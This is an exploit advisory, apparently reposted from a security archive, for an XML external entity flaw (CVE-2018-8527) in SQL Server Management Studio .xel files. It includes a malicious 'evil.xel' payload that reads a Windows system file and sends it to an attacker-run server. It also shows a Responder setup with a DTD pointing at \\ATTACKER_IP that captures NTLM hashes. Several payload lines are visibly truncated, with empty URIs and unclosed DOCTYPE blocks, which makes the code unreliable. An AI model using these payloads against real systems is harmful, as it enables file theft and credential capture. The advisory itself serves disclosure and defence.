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Microsoft SQL Server Management Studio 17.9 / 18.0 Preview 4 XML Injection

Microsoft SQL Server Management Studio 17.9 / 18.0 Preview 4 XML Injection
Posted Oct 11, 2018
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Microsoft SQL Server Management Studio versions 17.9 and 18.0 Preview 4 suffer from a xel filetype XML external entity injection vulnerability.

tags | exploit, sql injection
advisories | CVE-2018-8527
MD5 | 0fb594060e86354cefaa3a12ba2181d5

Microsoft SQL Server Management Studio 17.9 / 18.0 Preview 4 XML Injection

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[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XEL-FILETYPE-XML-INJECTION-CVE-2018-8527.txt
[+] ISR: ApparitionSec
[+] Zero Day Initiative Program


SQL Server Management Studio 17.9
SQL Server Management Studio 18.0 (Preview 4)

SQL Server Management Studio is a software application first launched with Microsoft SQL Server 2005 that is used for configuring, managing, and administering
all components within Microsoft SQL Server. The tool includes both script editors and graphical tools which work with objects and features of the server.

[Vulnerability Type]
XML External Entity Injection

[CVE Reference]

[Security Issue]
This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of Microsoft SQL Server Management Studio.
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the handling of XEL files. Due to the improper restriction of XML External Entity (XXE) references, a specially crafted
document specifying a URI causes the XML parser to access the URI and embed the contents back into the XML document for further processing.
An attacker can leverage this vulnerability to disclose information in the context of the current process.


python -m SimpleHTTPServer (listens Port 8000)

"evil.xel" (Extended Event Log File)

<?xml version="1.0"?>
<!DOCTYPE flavios [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "">


<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM ';'>">


Steal NTLM hashes

Kali linux


responder -I eth0 -rv


<?xml version="1.0"?>
<!DOCTYPE dirty0tis [
<!ENTITY % dtd SYSTEM "\\ATTACKER_IP\unknown">

Result: Forced authentication and NTLM hash captured

[Network Access]

Notification: Trend Micro Zero Day Initiative Program
Vendor reply: Release of advisory patch Tuesday : October 9, 2018
October 10, 2018 : Public Disclosure

[+] Disclaimer
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Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).



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